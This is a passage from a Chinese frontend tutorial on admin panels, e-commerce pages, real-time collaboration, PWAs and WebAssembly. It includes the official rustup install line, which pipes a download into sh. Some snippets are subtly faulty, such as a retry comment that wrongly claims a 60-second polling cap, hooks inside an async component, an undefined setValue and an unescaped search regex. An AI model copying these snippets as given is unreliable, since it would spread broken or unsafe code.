    onSuccess: () => qc.invalidateQueries({ queryKey: ['users'] }),
  })

  const remove = useMutation({
    mutationFn: (id) => api.delete(`/users/${id}`),
    onSuccess: () => qc.invalidateQueries({ queryKey: ['users'] }),
  })

  return { list, create, update, remove }
}

可编辑表格(行内编辑)

// 核心思路:用 editingRowId 状态控制哪一行处于编辑模式
function EditableTable({ columns, data, onSave }) {
  const [editingRowId, setEditingRowId] = useState(null)
  const [editValues, setEditValues] = useState({})

  const startEdit = (row) => {
    setEditingRowId(row.id)
    setEditValues(row)  // 初始化为当前行数据
  }

  const saveEdit = async () => {
    await onSave(editingRowId, editValues)
    setEditingRowId(null)
  }

  return (
    <table>
      <tbody>
        {data.map(row =>
          editingRowId === row.id ? (
            <tr key={row.id}>
              {columns.map(col => (
                <td key={col.key}>
                  <input value={editValues[col.key]}
                    onChange={e => setEditValues(v => ({ ...v, [col.key]: e.target.value }))} />
                </td>
              ))}
              <td><button onClick={saveEdit}>保存</button>
              <button onClick={() => setEditingRowId(null)}>取消</button></td>
            </tr>
          ) : (
            <tr key={row.id}>
              {columns.map(col => <td key={col.key}>{row[col.key]}</td>)}
              <td><button onClick={() => startEdit(row)}>编辑</button></td>
            </tr>
          )
        )}
      </tbody>
    </table>
  )
}

数据导出(Excel / PDF)

// Excel 导出:用 xlsx 库
import * as XLSX from 'xlsx'

function exportToExcel(data, filename = 'export.xlsx') {
  const ws = XLSX.utils.json_to_sheet(data)
  const wb = XLSX.utils.book_new()
  XLSX.utils.book_append_sheet(wb, ws, 'Sheet1')
  XLSX.writeFile(wb, filename)
}

// PDF 导出:用 @react-pdf/renderer
import { PDFDownloadLink, Document, Page, Text, View } from '@react-pdf/renderer'

function ExportPDF({ data }) {
  return (
    <PDFDownloadLink document={<ReportDoc data={data} />} fileName="report.pdf">
      {({ loading }) => loading ? '生成中...' : '下载 PDF'}
    </PDFDownloadLink>
  )
}

// Excel 导入:用 FileReader 读取后解析
function handleImport(file) {
  const reader = new FileReader()
  reader.onload = (e) => {
    const wb = XLSX.read(e.target.result, { type: 'array' })
    const ws = wb.Sheets[wb.SheetNames[0]]
    const data = XLSX.utils.sheet_to_json(ws)
    console.log('导入数据:', data)  // 提交到后端
  }
  reader.readAsArrayBuffer(file)
}

高级搜索 / 筛选面板

// 用 React Hook Form 管理复杂筛选条件
function AdvancedFilter({ onSearch }) {
  const { register, handleSubmit, reset } = useForm({
    defaultValues: { keyword: '', status: '', dateRange: [], department: '' }
  })

  return (
    <form onSubmit={handleSubmit(onSearch)} className="filter-panel">
      <Input placeholder="关键词搜索" {...register('keyword')} />
      <Select {...register('status')}>
        <option value="">全部状态</option>
        <option value="active">启用</option>
        <option value="disabled">禁用</option>
      </Select>
      <DatePicker.RangePicker
        onChange={(dates) => setValue('dateRange', dates)} />
      <Button type="submit">搜索</Button>
      <Button onClick={() => { reset(); onSearch({}) }}>重置</Button>
    </form>
  )
}

// URL 参数同步(搜索条件可分享、可刷新保持)
const [searchParams, setSearchParams] = useSearchParams()
const filters = Object.fromEntries(searchParams.entries())
管理后台的核心模式

CRUD 用 TanStack Query 管理缓存和乐观更新;行内编辑用状态切换控制输入/展示模式;导出用 xlsx(Excel)和 @react-pdf(PDF);筛选面板与 URL 参数同步,保证可分享、可刷新。这些模式适用于几乎所有后台场景。

72. 实战:电商前台

电商前台是前端开发中最综合的项目类型——它涵盖了几乎所有前端核心技术:路由、状态管理、数据请求、表单、动画、性能优化、SEO。

核心页面与技术要点

1
首页——轮播图(Swiper)、商品推荐(瀑布流/虚拟列表)、分类导航、SEO 优化(SSR/SSG)。
2
商品列表——筛选(多维度)、排序(价格/销量)、分页/无限滚动、URL 参数同步。
3
商品详情——图片放大镜、SKU 选择器(多规格联动)、加入购物车、价格计算。
4
购物车——增删改查、全选/反选、价格实时计算、本地持久化、库存校验。
5
下单流程——地址选择、支付方式、优惠券、订单确认页、支付回调。

商品列表:筛选与 URL 同步

// 核心问题:筛选条件要和 URL 参数同步(用户可以分享链接、刷新页面保持状态)

function ProductList() {
  const [searchParams, setSearchParams] = useSearchParams()

  // 从 URL 读取筛选条件
  const filters = {
    category: searchParams.get('category') || '',
    minPrice: Number(searchParams.get('minPrice')) || 0,
    maxPrice: Number(searchParams.get('maxPrice')) || Infinity,
    sort: searchParams.get('sort') || 'default',
    page: Number(searchParams.get('page')) || 1
  }

  // 更新筛选条件(同步到 URL)
  const updateFilter = (key, value) => {
    setSearchParams(prev => {
      if (value) prev.set(key, value)
      else prev.delete(key)
      prev.set('page', '1')  // 筛选变化时回到第一页
      return prev
    })
  }

  // 带筛选条件的查询
  const { data, isLoading } = useQuery({
    queryKey: ['products', filters],
    queryFn: () => fetch(`/api/products?${new URLSearchParams(filters)}`).then(r => r.json())
  })

  return (
    <div>
      <FilterBar filters={filters} onChange={updateFilter} />
      {isLoading ? <Skeleton /> : <ProductGrid products={data.items} />}
      <Pagination page={filters.page} total={data.total} onChange={p => updateFilter('page', p)} />
    </div>
  )
}

SKU 选择器(多规格联动)

// SKU(Stock Keeping Unit):商品的规格组合
// 例如:颜色(红/蓝)× 尺码(S/M/L)= 6 种 SKU
// 核心逻辑:选择一个规格后,禁用不可能的组合

function useSkuSelector(skus) {
  const [selected, setSelected] = useState({})

  // 获取所有规格维度
  const specs = useMemo(() => {
    const map = {}
    skus.forEach(sku => {
      sku.specs.forEach(spec => {
        if (!map[spec.name]) map[spec.name] = new Set()
        map[spec.name].add(spec.value)
      })
    })
    return Object.entries(map).map(([name, values]) => ({
      name,
      values: [...values]
    }))
  }, [skus])

  // 判断某个规格值是否可选(是否存在对应的 SKU)
  const isAvailable = (specName, value) => {
    const testSelected = { ...selected, [specName]: value }
    return skus.some(sku =>
      Object.entries(testSelected).every(([name, val]) =>
        sku.specs.some(s => s.name === name && s.value === val)
      )
    )
  }

  // 获取当前选中的 SKU
  const currentSku = useMemo(() => {
    if (Object.keys(selected).length !== specs.length) return null
    return skus.find(sku =>
      sku.specs.every(s => selected[s.name] === s.value)
    )
  }, [selected, skus, specs])

  return { specs, selected, setSelected, isAvailable, currentSku }
}

// 使用
const { specs, selected, setSelected, isAvailable, currentSku } = useSkuSelector(product.skus)

购物车状态管理

import { create } from 'zustand'
import { persist } from 'zustand/middleware'

const useCartStore = create(
  persist(
    (set, get) => ({
      items: [],

      addItem: (product, sku, quantity = 1) => {
        set(state => {
          const existing = state.items.find(i => i.skuId === sku.id)
          if (existing) {
            return {
              items: state.items.map(i =>
                i.skuId === sku.id ? { ...i, quantity: i.quantity + quantity } : i
              )
            }
          }
          return { items: [...state.items, { ...product, sku, quantity }] }
        })
      },

      removeItem: (skuId) => {
        set(state => ({ items: state.items.filter(i => i.skuId !== skuId) }))
      },

      updateQuantity: (skuId, quantity) => {
        if (quantity <= 0) return get().removeItem(skuId)
        set(state => ({
          items: state.items.map(i => i.skuId === skuId ? { ...i, quantity } : i)
        }))
      },

      toggleSelect: (skuId) => {
        set(state => ({
          items: state.items.map(i =>
            i.skuId === skuId ? { ...i, selected: !i.selected } : i
          )
        }))
      },

      toggleSelectAll: () => {
        set(state => {
          const allSelected = state.items.every(i => i.selected)
          return { items: state.items.map(i => ({ ...i, selected: !allSelected })) }
        })
      },

      get selectedItems() { return get().items.filter(i => i.selected) },
      get totalPrice() { return get().selectedItems.reduce((s, i) => s + i.price * i.quantity, 0) },
      get totalCount() { return get().items.reduce((s, i) => s + i.quantity, 0) }
    }),
    { name: 'cart-storage' }  // 自动持久化到 localStorage
  )
)
电商前台的性能挑战

1)商品图片多——用 <Image>(Next.js)自动懒加载 + WebP 转换;2)列表长——虚拟滚动(只渲染可见区域);3)SKU 组合多——用 useMemo 缓存计算结果;4)购物车频繁更新——用 Zustand 的选择器避免不必要的重新渲染。

支付回调 / 支付状态轮询

// 支付流程:前端跳转支付 → 用户完成支付 → 回调通知 / 轮询确认
// 方案一:轮询(适合微信/支付宝 H5 支付)
function usePaymentStatus(orderId) {
  const { data, isSuccess } = useQuery({
    queryKey: ['payment', orderId],
    queryFn: () => api.get(`/orders/${orderId}/status`),
    refetchInterval: (query) => {
      const status = query.state.data?.status
      return status === 'pending' ? 2000 : false  // 每 2 秒轮询,完成则停止
    },
    retry: 30,  // 最多轮询 60 秒
  })

  useEffect(() => {
    if (data?.status === 'paid') router.push(`/orders/${orderId}/success`)
    if (data?.status === 'failed') toast.error('支付失败,请重试')
  }, [data])

  return data
}

// 方案二:回调页面(支付完成后跳回)
// /payment/callback?trade_no=xxx&out_trade_no=yyy
async function PaymentCallback() {
  const params = useSearchParams()
  const { data } = useQuery({
    queryKey: ['verify', params.get('out_trade_no')],
    queryFn: () => api.post('/payment/verify', { tradeNo: params.get('trade_no') }),
  })
  return data?.verified ? <SuccessPage /> : <LoadingSpinner />
}

搜索自动补全 / 搜索高亮

// 搜索自动补全:防抖 + 缓存 + 高亮
function SearchAutocomplete() {
  const [keyword, setKeyword] = useState('')
  const [results, setResults] = useState([])

  // 防抖搜索(300ms 内不重复请求)
  useEffect(() => {
    if (!keyword.trim()) { setResults([]); return }
    const timer = setTimeout(async () => {
      const res = await api.get('/search/suggest', { params: { q: keyword } })
      setResults(res.data)
    }, 300)
    return () => clearTimeout(timer)
  }, [keyword])

  // 关键词高亮
  const highlight = (text) => {
    const parts = text.split(new RegExp(`(${keyword})`, 'gi'))
    return parts.map((part, i) =>
      part.toLowerCase() === keyword.toLowerCase()
        ? <mark key={i}>{part}</mark> : part
    )
  }

  return (
    <div className="search-box">
      <input value={keyword} onChange={e => setKeyword(e.target.value)} />
      <ul className="suggest-list">
        {results.map(item => (
          <li key={item.id}>{highlight(item.title)}</li>
        ))}
      </ul>
    </div>
  )
}

商品对比功能

// 商品对比:用 Zustand 管理对比列表(最多 4 件)
const useCompareStore = create((set, get) => ({
  items: [],
  add: (product) => {
    const { items } = get()
    if (items.length >= 4) return toast.warn('最多对比 4 件商品')
    if (items.find(i => i.id === product.id)) return
    set({ items: [...items, product] })
  },
  remove: (id) => set({ items: get().items.filter(i => i.id !== id) }),
  clear: () => set({ items: [] }),
}))

// 对比面板:横向展示规格差异
function ComparePanel() {
  const { items, remove, clear } = useCompareStore()
  if (items.length < 2) return <p>请至少添加 2 件商品</p>

  const specs = ['价格', '品牌', '尺寸', '重量', '颜色']
  return (
    <table className="compare-table">
      <thead><tr><th>规格</th>{items.map(i => <th key={i.id}>{i.name}</th>)}</tr></thead>
      <tbody>{specs.map(s => (
        <tr key={s}><td>{s}</td>{items.map(i => <td key={i.id}>{i[s]}</td>)}</tr>
      ))}</tbody>
    </table>
  )
}

优惠券 / 促销逻辑

// 优惠券类型:满减、折扣、固定金额
function calcDiscount(coupon, totalPrice) {
  switch (coupon.type) {
    case 'full减':
      return totalPrice >= coupon.threshold ? coupon.discount : 0
    case '折扣':
      return totalPrice * (1 - coupon.rate)  // rate=0.8 表示八折
    case '固定':
      return coupon.amount
  }
}

// 优惠券选择器(购物车结算页)
function CouponSelector({ totalPrice, onSelect }) {
  const { data: coupons } = useQuery({
    queryKey: ['coupons'],
    queryFn: () => api.get('/coupons/available'),
  })

  const available = coupons?.filter(c => totalPrice >= c.threshold) || []
  return (
    <select onChange={e => onSelect(coupons.find(c => c.id === e.target.value))}>
      <option value="">不使用优惠券</option>
      {available.map(c => (
        <option key={c.id} value={c.id}>
          {c.name}(满{c.threshold}减{c.discount})
        </option>
      ))}
    </select>
  )
}

// 促销叠加规则:互斥优惠券 > 可叠加优惠券 > 积分抵扣(按优先级依次计算)
电商前台的关键体验

支付状态轮询要设上限(防无限轮询);搜索补全要防抖(减少请求);商品对比限制数量(内存可控);优惠券计算要区分类型和叠加规则。这些细节决定了用户支付成功率和购物体验。

73. 实战:实时协作应用

实时协作应用(如 Google Docs、Figma、飞书文档)的核心挑战是:多个用户同时编辑同一个文档,怎么保证最终结果一致。这需要用到 WebSocket 实时通信和协同编辑算法。

一个类比

想象多人同时在一块白板上写字。如果大家写同一个位置,就会冲突。解决方案有两种:1)OT——有一个人当"裁判",协调大家的书写顺序;2)CRDT——给每个人分配不同的区域,永远不会冲突。CRDT 更先进,不需要中心服务器协调。

WebSocket 实时通信

// WebSocket:全双工通信(服务器和客户端可以随时互相发消息)
// 对比 HTTP:HTTP 是"请求-响应"模式,客户端不请求服务器就不能发消息

const ws = new WebSocket('wss://api.example.com/ws')

ws.onopen = () => {
  console.log('已连接')
  ws.send(JSON.stringify({ type: 'join', roomId: 'room-1' }))
}

ws.onmessage = (event) => {
  const data = JSON.parse(event.data)
  switch (data.type) {
    case 'cursor':
      updateRemoteCursor(data.userId, data.position)
      break
    case 'edit':
      applyRemoteEdit(data.changes)
      break
    case 'user_join':
      showNotification(`${data.userName} 加入了`)
      break
  }
}

ws.onclose = () => {
  console.log('连接断开,3 秒后重连...')
  setTimeout(() => reconnect(), 3000)
}

封装 WebSocket Hook

function useWebSocket(url, options = {}) {
  const wsRef = useRef(null)
  const [connected, setConnected] = useState(false)
  const [lastMessage, setLastMessage] = useState(null)
  const reconnectTimer = useRef(null)

  const connect = useCallback(() => {
    const ws = new WebSocket(url)
    wsRef.current = ws

    ws.onopen = () => {
      setConnected(true)
      options.onConnect?.()
    }

    ws.onmessage = (event) => {
      const data = JSON.parse(event.data)
      setLastMessage(data)
      options.onMessage?.(data)
    }

    ws.onclose = () => {
      setConnected(false)
      // 自动重连
      if (options.autoReconnect !== false) {
        reconnectTimer.current = setTimeout(connect, options.reconnectInterval || 3000)
      }
    }

    ws.onerror = (err) => {
      console.error('WebSocket 错误:', err)
    }
  }, [url, options])

  useEffect(() => {
    connect()
    return () => {
      clearTimeout(reconnectTimer.current)
      wsRef.current?.close()
    }
  }, [connect])

  const send = useCallback((data) => {
    if (wsRef.current?.readyState === WebSocket.OPEN) {
      wsRef.current.send(JSON.stringify(data))
    }
  }, [])

  return { connected, send, lastMessage }
}

// 使用
const { connected, send } = useWebSocket('wss://api.example.com/ws', {
  onMessage: (data) => {
    if (data.type === 'edit') applyRemoteEdit(data.changes)
  },
  autoReconnect: true
})

协同编辑的核心问题

// 问题:两个用户同时编辑同一段文字
// 用户 A:把 "Hello" 改成 "Hello World"
// 用户 B:把 "Hello" 改成 "Hi"
// 如果直接覆盖,一个人的修改会丢失

// 解决方案 1:OT(Operational Transformation)
// 原理:把每个操作(插入、删除)都记录下来,服务器负责"变换"操作顺序
// 用户 A 的操作:在位置 5 插入 " World"
// 用户 B 的操作:把位置 0-4 的 "Hello" 替换为 "Hi"
// 服务器变换后:A 的操作变成在位置 2 插入 " World"
// 最终结果:"Hi World"
// 代表产品:Google Docs(早期)、ShareDB

// 解决方案 2:CRDT(Conflict-free Replicated Data Type)
// 原理:每个字符都有唯一 ID,操作可交换、可结合,不需要中心服务器
// 用户 A 插入 " World"(ID: a1-a6)
// 用户 B 把 "Hello" 标记为已删除,插入 "Hi"(ID: b1-b2)
// 所有客户端独立合并,最终结果一致
// 代表产品:Figma、Yjs

// 推荐库
// Yjs(CRDT,最流行):https://github.com/yjs/yjs
// Automerge(CRDT):https://github.com/automerge/automerge
// ShareDB(OT):https://github.com/share/sharedb

Yjs + y-websocket 快速实现

// 安装:pnpm add yjs y-websocket y-indexeddb

import * as Y from 'yjs'
import { WebsocketProvider } from 'y-websocket'

// 创建共享文档
const ydoc = new Y.Doc()

// 连接 WebSocket 服务器
const provider = new WebsocketProvider(
  'wss://your-server.com',
  'document-id-123',
  ydoc
)

// 共享文本
const ytext = ydoc.getText('content')

// 监听远程变化
ytext.observe(event => {
  console.log('内容变化:', ytext.toString())
  updateEditor(ytext.toString())
})

// 本地修改(自动同步给其他用户)
function handleLocalEdit(newText) {
  ytext.delete(0, ytext.length)
  ytext.insert(0, newText)
}

// 在线状态
provider.awareness.setLocalState({
  user: { name: '张三', color: '#ff0000' },
  cursor: { line: 1, column: 10 }
})

// 监听其他用户的状态
provider.awareness.on('change', () => {
  const states = Array.from(provider.awareness.getStates().values())
  updateCursors(states)
})
实时协作的技术栈选择

1)简单场景(聊天室、实时通知)——直接用 WebSocket;2)协作文档——用 Yjs(CRDT)+ y-websocket;3)协作白板/设计工具——用 Yjs + 自定义数据结构;4)不想自己搭服务器——用 Liveblocks(SaaS 协作基础设施)。

离线编辑与冲突解决

// 离线编辑:用户断网后继续编辑,联网后同步
// 方案:本地队列 + 操作日志 + 重放
const offlineQueue = {
  ops: JSON.parse(localStorage.getItem('pending_ops') || '[]'),

  push(op) {
    this.ops.push({ ...op, timestamp: Date.now() })
    localStorage.setItem('pending_ops', JSON.stringify(this.ops))
  },

  async flush(sendFn) {
    while (this.ops.length > 0) {
      const op = this.ops[0]
      try {
        await sendFn(op)  // 发送到服务器
        this.ops.shift()  // 成功则移除
      } catch {
        break  // 失败则保留,下次重试
      }
    }
    localStorage.setItem('pending_ops', JSON.stringify(this.ops))
  }
}

// 监听网络状态,联网时自动重放
window.addEventListener('online', () => offlineQueue.flush(wsSend))

// 冲突解决:Last-Write-Wins(简单)或 OT/CRDT(复杂)
function resolveConflict(localOp, remoteOp) {
  if (localOp.version < remoteOp.version) {
    return { action: 'accept_remote', transform: transformOp(localOp, remoteOp) }
  }
  return { action: 'keep_local' }
}

操作历史 / 撤销重做

// 操作栈模式:维护 undoStack 和 redoStack
function useHistory(initialState) {
  const [state, setState] = useState(initialState)
  const undoStack = useRef([])
  const redoStack = useRef([])

  const execute = (newState) => {
    undoStack.current.push(state)   // 保存当前状态到撤销栈
    redoStack.current = []          // 新操作清空重做栈
    setState(newState)
  }

  const undo = () => {
    if (undoStack.current.length === 0) return
    redoStack.current.push(state)
    setState(undoStack.current.pop())
  }

  const redo = () => {
    if (redoStack.current.length === 0) return
    undoStack.current.push(state)
    setState(redoStack.current.pop())
  }

  return { state, execute, undo, redo, canUndo: undoStack.current.length > 0, canRedo: redoStack.current.length > 0 }
}

// 键盘快捷键绑定
useEffect(() => {
  const handler = (e) => {
    if (e.metaKey && e.key === 'z') { e.preventDefault(); e.shiftKey ? redo() : undo() }
  }
  window.addEventListener('keydown', handler)
  return () => window.removeEventListener('keydown', handler)
}, [undo, redo])

用户权限 / 编辑锁定

// 编辑锁定:同一段落同一时间只允许一个人编辑
// 方案:段落级锁 + 自动过期(防止死锁)
async function acquireLock(documentId, paragraphId, userId) {
  const lock = await api.post('/locks', {
    documentId, paragraphId, userId,
    expiresAt: Date.now() + 30000  // 30 秒自动过期
  })
  return lock.data.acquired  // true=成功,false=已被他人锁定
}

// 前端:显示锁定状态
function Paragraph({ paragraph, currentUser }) {
  const isLockedByOther = paragraph.lock && paragraph.lock.userId !== currentUser.id

  if (isLockedByOther) {
    return (
      <div className="locked-paragraph">
        <div className="lock-badge">🔒 {paragraph.lock.userName} 编辑中</div>
        <p className="read-only">{paragraph.content}</p>
      </div>
    )
  }

  return <RichEditor content={paragraph.content} onFocus={() => acquireLock(...)} />
}

// 用户权限模型
const PERMISSIONS = {
  owner:  ['read', 'write', 'delete', 'share', 'manage'],
  editor: ['read', 'write'],
  viewer: ['read'],
}
function canEdit(user, document) {
  const role = document.members.find(m => m.userId === user.id)?.role
  return PERMISSIONS[role]?.includes('write') ?? false
}
实时协作的工程要点

离线编辑用操作队列 + 网络状态监听自动重放;撤销重做用双栈模式(undoStack/redoStack)配合 Cmd+Z 快捷键;编辑锁定用段落级锁 + 自动过期防止死锁。小团队推荐 Yjs + y-websocket,大团队可选 Liveblocks 托管方案。

74. PWA 渐进式 Web 应用

PWA(Progressive Web App)让 Web 应用拥有原生 App 的体验——离线可用、添加到桌面、推送通知。它是 Web 和原生 App 之间的"中间方案"——比 Web 体验好,比原生 App 开发成本低。

一个类比

普通网站像一个只能在线看的视频。PWA 像一个可以下载到手机的视频——没网也能看(离线缓存),桌面上有图标(添加到桌面),有新视频会通知你(推送通知)。

PWA 的三大能力

1
离线可用——通过 Service Worker 缓存资源,没网也能访问。
2
添加到桌面——通过 Web App Manifest,在手机桌面生成 App 图标。
3
推送通知——通过 Push API,服务器可以向用户推送消息。

Web App Manifest

// manifest.json(告诉浏览器如何"安装"你的应用)
{
  "name": "我的应用",
  "short_name": "MyApp",
  "description": "一个示例 PWA 应用",
  "start_url": "/",
  "display": "standalone",        // 独立窗口(没有浏览器地址栏)
  "background_color": "#ffffff",
  "theme_color": "#2563eb",
  "orientation": "portrait",
  "icons": [
    { "src": "/icon-192.png", "sizes": "192x192", "type": "image/png" },
    { "src": "/icon-512.png", "sizes": "512x512", "type": "image/png" },
    { "src": "/icon-maskable.png", "sizes": "512x512", "type": "image/png", "purpose": "maskable" }
  ]
}

// 在 index.html 中引入
<link rel="manifest" href="/manifest.json" />
<meta name="theme-color" content="#2563eb" />

Service Worker 离线缓存

// Service Worker:在浏览器和网络之间加一层"代理"
// 使用 Workbox(Google 的 PWA 工具库)
// 安装:pnpm add -D vite-plugin-pwa workbox-window

// vite.config.ts
import { VitePWA } from 'vite-plugin-pwa'

export default defineConfig({
  plugins: [
    VitePWA({
      registerType: 'autoUpdate',
      workbox: {
        globPatterns: ['**/*.{js,css,html,ico,png,svg,woff2}'],
        runtimeCaching: [
          {
            urlPattern: /^https:\/\/api\.example\.com\/.*/i,
            handler: 'NetworkFirst',      // API 优先网络
            options: { cacheName: 'api-cache', expiration: { maxEntries: 50, maxAgeSeconds: 300 } }
          },
          {
            urlPattern: /\.(png|jpg|svg|webp)$/,
            handler: 'CacheFirst',         // 图片优先缓存
            options: { cacheName: 'image-cache', expiration: { maxEntries: 100, maxAgeSeconds: 86400 * 30 } }
          }
        ]
      },
      manifest: { /* manifest 配置 */ }
    })
  ]
})

// Service Worker 缓存策略:
// Cache First:优先用缓存(适合静态资源)
// Network First:优先网络(适合 API 数据)
// Stale While Revalidate:先用缓存,后台更新(适合不常变的资源)
PWA 的限制

iOS Safari 对 PWA 的支持有限:1)不支持推送通知(iOS 16.4+ 才部分支持);2)离线缓存有大小限制(~50MB);3)不能访问所有原生 API(NFC、蓝牙)。如果需要完整的原生功能,还是用 React Native 或 Flutter。

iOS Safari PWA 限制与解决方案

// iOS Safari PWA 的主要限制和应对策略

// 1. 限制:无独立进程,系统可能随时回收
// 解决:定期保存应用状态到 localStorage
window.addEventListener('visibilitychange', () => {
  if (document.hidden) {
    localStorage.setItem('app-state', JSON.stringify(appState))
  }
})

// 2. 限制:IndexedDB 存储空间有限(~1GB)
// 解决:定期清理过期缓存
async function cleanupStorage() {
  const cache = await caches.open('dynamic-cache')
  const requests = await cache.keys()
  const old = requests.filter(r => /* 超过 7 天 */)
  await Promise.all(old.map(r => cache.delete(r)))
}

// 3. 限制:不支持后台同步(Background Sync)
// 解决:使用 visibilitychange 事件检测用户返回
document.addEventListener('visibilitychange', () => {
  if (!document.hidden) syncPendingData()  // 用户回来时同步
})

// 4. 限制:安装提示不自动弹出
// 解决:引导用户手动"添加到主屏幕"
// iOS 不支持 beforeinstallprompt,需要显示图文教程

Background Sync API

// Background Sync:网络恢复后自动重发失败的请求
// 注册同步任务
async function submitForm(data) {
  try {
    await fetch('/api/submit', { method: 'POST', body: JSON.stringify(data) })
  } catch {
    // 离线时保存到 IndexedDB,注册后台同步
    await saveToIDB('pending-requests', data)
    const reg = await navigator.serviceWorker.ready
    await reg.sync.register('submit-when-online')  // 注册同步标签
  }
}

// Service Worker 中处理同步事件
self.addEventListener('sync', (event) => {
  if (event.tag === 'submit-when-online') {
    event.waitUntil(sendPendingRequests())  // 从 IndexedDB 读取并发送
  }
})

安装提示自定义(beforeinstallprompt)

// 拦截默认安装提示,自定义安装体验(仅 Android/Chrome)
let deferredPrompt

window.addEventListener('beforeinstallprompt', (e) => {
  e.preventDefault()          // 阻止默认弹窗
  deferredPrompt = e          // 保存事件
  showInstallBanner()         // 显示自定义安装按钮
})

async function installApp() {
  deferredPrompt.prompt()     // 手动触发安装弹窗
  const { outcome } = await deferredPrompt.userChoice
  console.log(outcome === 'accepted' ? '用户安装了' : '用户拒绝了')
  deferredPrompt = null
}

// 监听安装完成
window.addEventListener('appinstalled', () => {
  console.log('PWA 已安装到桌面')
  deferredPrompt = null
})

PWA 更新策略

// Service Worker 更新流程:skipWaiting + clients.claim
// sw.js(Service Worker 文件)
self.addEventListener('install', (event) => {
  self.skipWaiting()  // 跳过等待,立即激活新版本
})

self.addEventListener('activate', (event) => {
  event.waitUntil(
    caches.keys().then(keys =>
      Promise.all(keys.filter(k => k !== 'v2').map(k => caches.delete(k)))
    ).then(() => self.clients.claim())  // 立即控制所有页面
  )
})

// 页面中检测更新
if ('serviceWorker' in navigator) {
  const reg = await navigator.serviceWorker.register('/sw.js')
  reg.addEventListener('updatefound', () => {
    const newWorker = reg.installing
    newWorker.addEventListener('statechange', () => {
      if (newWorker.state === 'activated') {
        showToast('应用已更新,刷新查看新版本')  // 通知用户
      }
    })
  })
}

75. WebAssembly 入门

WebAssembly(WASM)是一种二进制指令格式,让 Rust、C++、Go 等语言编译成在浏览器中运行的代码。性能接近原生(比 JS 快 10-100 倍),适合计算密集型任务。

一个类比

JavaScript 像是一个全能翻译——什么语言都能翻译,但翻译速度慢。WebAssembly 像是机器码——不需要翻译,直接执行。适合"重活"(图片处理、3D 渲染、加密计算),不适合"轻活"(DOM 操作、事件处理——这些 JS 更擅长)。

WASM 的使用场景

// 适合 WASM 的场景(计算密集型):
// 1. 图片/视频处理(比 JS 快 10-100 倍)
// 2. 游戏引擎(Unity、Unreal 导出 WASM)
// 3. 加密算法(哈希、加密、解密)
// 4. CAD/3D 建模(Figma 用 WASM 做渲染引擎)
// 5. AI 推理(在浏览器运行机器学习模型)
// 6. 音视频编解码(FFmpeg 编译成 WASM)

// 不适合 WASM 的场景:
// DOM 操作(WASM 不能直接操作 DOM,需要通过 JS 中转)
// 简单的业务逻辑(JS 足够快)
// 网络请求(WASM 没有网络 API)

Rust + WASM 实战

// 1. 安装 Rust 和 wasm-pack
// curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
// cargo install wasm-pack

// 2. 创建 Rust 项目
// cargo new --lib my-wasm
// cd my-wasm

// src/lib.rs
use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn fibonacci(n: u32) -> u32 {
    match n {
        0 => 0,
        1 => 1,
        _ => fibonacci(n - 1) + fibonacci(n - 2),
    }
}

#[wasm_bindgen]
pub fn process_image(data: &[u8], width: u32, height: u32) -> Vec<u8> {
    // 图片处理(比 JS 快 10-100 倍)
    data.iter().map(|&pixel| 255 - pixel).collect()  // 反色
}

// 3. 编译
// wasm-pack build --target web

// 4. JS 中使用
import init, { fibonacci, process_image } from './pkg/my_wasm'

await init()  // 初始化 WASM 模块
console.log(fibonacci(40))  // 比 JS 版本快 5-10 倍

// 性能对比(斐波那契 40)
// JS: ~1200ms
// WASM: ~150ms

在 React 中使用 WASM

// 封装 WASM Hook
function useWasm() {
  const [wasm, setWasm] = useState(null)

  useEffect(() => {
    import('./pkg/my_wasm').then(async (module) => {
      await module.default()
      setWasm(module)
    })
  }, [])

  return wasm
}

// 使用
function ImageProcessor({ imageUrl }) {
  const wasm = useWasm()

  const processImage = async () => {
    if (!wasm) return
    const canvas = document.createElement('canvas')
    const ctx = canvas.getContext('2d')
    // ... 获取图片像素数据
    const processed = wasm.process_image(imageData, width, height)
    // ... 显示处理后的图片
  }

  return <button onClick={processImage}>处理图片</button>
}
WASM 的未来

2026 年 WASM 的趋势:1)WASI(WebAssembly System Interface)让 WASM 跑在服务器端(WasmEdge、Fermyon);2)Component Model 让不同语言的 WASM 模块互操作;3)GC 提案让 WASM 直接支持垃圾回收语言(Java、C#)。WASM 不会替代 JS,而是和 JS 互补——JS 管交互,WASM 算计算。

WASM 与 JS 互操作性能开销

// WASM 和 JS 之间的数据传递有性能成本
// 规则:减少调用次数,批量传递数据

// 差:频繁调用(每次调用都有开销)
for (let i = 0; i < 10000; i++) {
  wasm.processPixel(data[i])  // 10000 次跨边界调用
}

// 好:批量处理(一次调用处理所有数据)
const result = wasm.processAllPixels(data)  // 1 次调用

// 传递大数据时使用共享内存
const memory = new WebAssembly.Memory({ initial: 256 })
const heap = new Uint8Array(memory.buffer)
heap.set(largeData)           // 写入线性内存
wasm.process(memory)          // 直接操作内存,零拷贝

WASM 包体积优化

// 优化 WASM 文件大小,加快加载速度

// 1. 使用 wasm-opt 工具优化(Binaryen 提供)
// 安装:cargo install binaryen
// wasm-opt -Oz -o output.wasm input.wasm  // -Oz 最大压缩

// 2. Rust 编译时优化(Cargo.toml)
// [profile.release]
// opt-level = 'z'      // 优化体积
// lto = true           // 链接时优化
// codegen-units = 1    // 单编译单元(更优优化)

// 3. Tree Shaking(只打包用到的函数)
// wasm-pack build --target web --release
// 未使用的函数不会进入 .wasm 文件

// 4. 压缩传输
// .wasm 文件用 Brotli 压缩通常能减小 60-80%
// Nginx 配置:brotli on; brotli_types application/wasm;

WASI 服务端使用场景

// WASI:让 WASM 跑在浏览器之外(服务器、边缘计算)

// 使用场景:
// 1. Serverless 函数(冷启动比容器快 100 倍)
// 2. 边缘计算(Cloudflare Workers、Fastly Compute)
// 3. 插件系统(安全沙箱运行第三方代码)
// 4. 跨平台 CLI 工具(一次编译,到处运行)

// Rust WASI 示例
// cargo build --target wasm32-wasi --release
fn main() {
    let args: Vec<String> = std::env::args().collect()
    let content = std::fs::read_to_string(&args[1]).unwrap()
    println!("{}", content)
}

// 使用 WasmEdge 运行
// wasmedge mytool.wasm myfile.txt

AssemblyScript:TypeScript 编译为 WASM

// AssemblyScript:语法类似 TypeScript,直接编译为 WASM
// 适合不想学 Rust 的前端开发者

// 安装:npm init && npm install assemblyscript
// 初始化:npx asinit .

// assembly/index.ts
export function fibonacci(n: i32): i32 {
  if (n <= 1) return n
  return fibonacci(n - 1) + fibonacci(n - 2)
}

